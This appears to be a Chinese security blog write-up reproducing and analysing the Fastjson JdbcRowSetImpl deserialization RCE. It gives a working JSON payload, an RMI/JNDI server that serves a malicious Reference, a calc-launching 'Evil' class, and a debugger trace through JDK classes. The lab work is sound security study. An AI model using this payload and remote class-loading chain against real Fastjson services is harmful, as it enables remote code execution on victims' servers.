首先創建客戶端
package com.yq1ng.vul;import com.alibaba.fastjson.JSON;/*** FastJsonTest** @author yq1ng* @date 2021/12/29 19:45* @since 1.0.0*/
public class FastJsonTest {public static void main(String[] args) {String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";JSON.parse(ser);}
}
然后是jndi服務端
package com.yq1ng.vul;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;/*** RMIServer** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("Evil", referenceWrapper);System.out.println("Server is running...");}
}
接著是惡意類,注意這個惡意類不能帶有包名,也就是package
import java.io.IOException;/*** Evil** @author yq1ng* @date 2021/12/29 19:46* @since 1.0.0*/
public class Evil {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}
}
然后編譯惡意類,并起一個python簡單服務,注意python3的啟動方式是python -m http.server 8080
不再是python -m SimpleHTTPServer 8080
然后啟動jndi服務,啟動客戶端即可
漏洞分析
poc是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
,從上面的反序列化流程可以知道會去調用指定類,然后調用setter,這里會調用setDataSourceName()
和setAutoCommit()
。
在deserialze
后繼續調試,斷點打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()
這里默認的dataSource
是空的,所以會設置為我們傳入的惡意rmi。接著來到setAutoCommit()
這里conn
為空,所以進行獲取,這里形參也解釋了為什么payload的autoCommit
為true
。跟進this.connect()
首先初始化上下文,然后開始找傳入的rmi類
繼續跟
首先看getRootURLContext()
,全局查找的話會有四個類去調用
這里會根據不同協議去調用不同的getRootURLContext()
,這里跟進rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()
這里對傳入的rmi格式進行檢測,代碼很長截取部分,一言不合就會拋異常。接著返回
繼續跟
首先是一個判空,然后去注冊中心找Evil,接著在return跟進rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()
這里將構造的Reference
賦值給var3
,然后跟進NamingManager.java#getObjectInstance()
到這里跟進getObjectFactoryFromReference()
先從本地嘗試加載Evil,如果不存在繼續往下看
本地不存在的話就會嘗試從codebase中加載class
什么是codebase?以下內容摘自:Java-RMI
codebase就是遠程裝載類的路徑。當對象發送者序列化對象時,會在序列化流中附加上codebase的信息。 這個信息告訴接收方到什么地方尋找該對象的執行代碼。
你要弄清楚哪個設置codebase,而哪個使用codebase。任何程序假如發送一個對方可能沒有的新類對象時就要設置codebase(例如jdk的類對象,就不用設置codebase)。
codebase實際上是一個url表,在該url下有接受方需要下載的類文件。假如你不設置codebase,那么你就不能把一個對象傳遞給本地沒有該對象類文件的程序。
跟進helper.loadClass()
這里通過URLClassLoader
進行加載類。最后進行實例化,導致rce